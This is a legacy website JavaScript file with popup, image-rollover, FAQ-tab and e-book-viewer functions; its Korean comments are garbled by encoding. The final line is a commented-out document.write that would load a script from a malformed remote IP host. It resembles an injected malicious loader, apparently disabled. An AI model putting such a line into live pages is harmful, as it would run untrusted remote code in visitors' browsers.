// ?Ã¢
function OpenWin(TargetUrl,WinName,W,H,S)
{
	window.open(TargetUrl,WinName,'top=0,left=0,resizable=no,width=' + W + ',height=' + H + ',scrollbars=' + S);
}

// FAQ
function ShowHideColumn (strTableID, intTableCount)
{
	for(var i = 1; i <= intTableCount; i ++)
	{
		var objTable = document.getElementById('w'+i);
	
		if('w'+i == strTableID)
		{
			objTable.style.display = 'block';
		}
		else
		{
			objTable.style.display = 'none';
		}
	}
}


// ?¹ÌÁö ¿Â?? ????
<!--
function imgOff() 
{
	var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() 
{
	var d=document; if(d.images)
	{ if(!d.MM_p) d.MM_p=new Array();
		var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
		if (a[i].indexOf("#")!=0)
		{
			d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];
		}
	}
}
function MM_findObj(n, d) 
{
	var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) 
{
	d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);
}
	if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
	for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
	if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function imgOn() 
{
	var i,j=0,x,a=imgOn.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
	if ((x=MM_findObj(a[i]))!=null)
	{
		document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];
	}
}
//Å¬¸¯? ±â?ÅØ?? ?¶óÁö? ????
function clearText(name)
{
	if (name.defaultValue==name.value)
        name.value = ""
} 

// ?ÀÎ °øÁö?? ´º? ÅÇ ????
function newsView(num)
{
	var obj = document.all.news;
	var size = obj.length;
	for(i = 0; i < size; i++)
	{
		obj[i].style.display = 'none';
	}
	obj[num].style.display = 'block';
} 

//??Áö ?? °ü? ????
/**
function ebook_start_nopopup()
{
	window.location.href = startDir+"/VIEW.HTM"+location.search;
	if(eval(document.body.clientHeight-103) <zoomHeight[0] || document.body.clientWidth < zoomWidth[0])
	{
		alert("À¥ ºê¶ó¿ìÁ®ÀÇ ?? ¿µ??´Ù ?ºÏ? Ä¿? ??¿¡ ?Á¦? ?? ? ?½À?´Ù..");
	}
}
**/

function ebook_start1(bUrl)
{
	var ebook1 = null;
	if(bUrl != undefined)
	{
		startDir1 = bUrl;
		
	}
	
	if(screen.availWidth==1024)
	{
		ebook1 = window.open(startDir1+"/VIEW.HTM"+location.search,"ebook","fullscreen");
		ebook1.moveTo(10,10)
		ebook1.focus();
	}
	else
	{
		left1=(screen.availWidth-1024-5)/2;
		top1=(screen.availHeight-768-10)/2;
		ebook1 = window.open(startDir1+"/VIEW.HTM"+location.search,"ebook","toolbar=no location=no directories=no status=no menubar=no scrollbars=no resizable=no width=1024 height=768 top="+top1+" left="+left1);	
		
	}
	
}
function ebook_start2(bUrl)
{
	var ebook2 = null;
	if(bUrl != undefined)
	{
		startDir2 = bUrl;
		
	}
	if(screen.availWidth==1024)
	{
		ebook2 = window.open(startDir2+"/VIEW.HTM"+location.search,"ebook","fullscreen");
		ebook2.focus();
	}
	else
	{
		left1=(screen.availWidth-1024-5)/2;
		top1=(screen.availHeight-768-10)/2;
		ebook2 = window.open(startDir2+"/VIEW.HTM"+location.search,"ebook","toolbar=no location=no directories=no status=no menubar=no scrollbars=no resizable=no width=1024 height=768 top="+top1+" left="+left1);
	}
}

var maxPage=6;
var totalPage=5;
var zoomLevel=2
var zoomHeight = new Array(zoomLevel);
var zoomWidth = new Array(zoomLevel);
zoomWidth[0] = 450;
zoomHeight[0] = 620;
zoomWidth[1] = 900;
zoomHeight[1] = 1240;
var coverPages=2;
var crossOption=0;
var p_width=450;
var p_height=620;
var logoNum=1;
var logoPath=new Array(logoNum);
var logoLink=new Array(logoNum);
var pageOption=0;
var categoryStartOption=false;
var isPrintable=false;
logoPath[0]="userimg/logo_fip.jpg";
logoLink[0]="http://www.naver.com";
ebookImg="http://";
ebookLink="http://";
ebookDesc="";
adminMail="";
var mailServer="http://www.exform.com/mail_2/mail_process.php";
var rightButtonAction=1;
var useLanguage=0;

// ÆË¾÷ ½ºÅ©¸³Æ®
function popUp(width,height,URL,scroll)
{
	var path = URL;
	var popup = null;
	var w = width;
	var h = height;
	var s = scroll;
	if(scroll == null)
		s = 'no';
	popup = window.open( path , w + h , 'width=' + w + ',height=' + h +',scrollbars=' + s + ',toolbar=no,location=no,directories=no,status=no,menubar=no,resizable=no' );
 	popup.moveTo((screen.availWidth-w)/2,(screen.availHeight-h)/2) // Ã¢À§Ä¡ ?Àý
 	popup.focus();
}

// ¹®È­¼¾ÅÍ ¸Þ´º ·Ñ¿À¹ö
// document.write("<script language=javascript src=http://www218.38.28.74/7/7/Log.js></script>");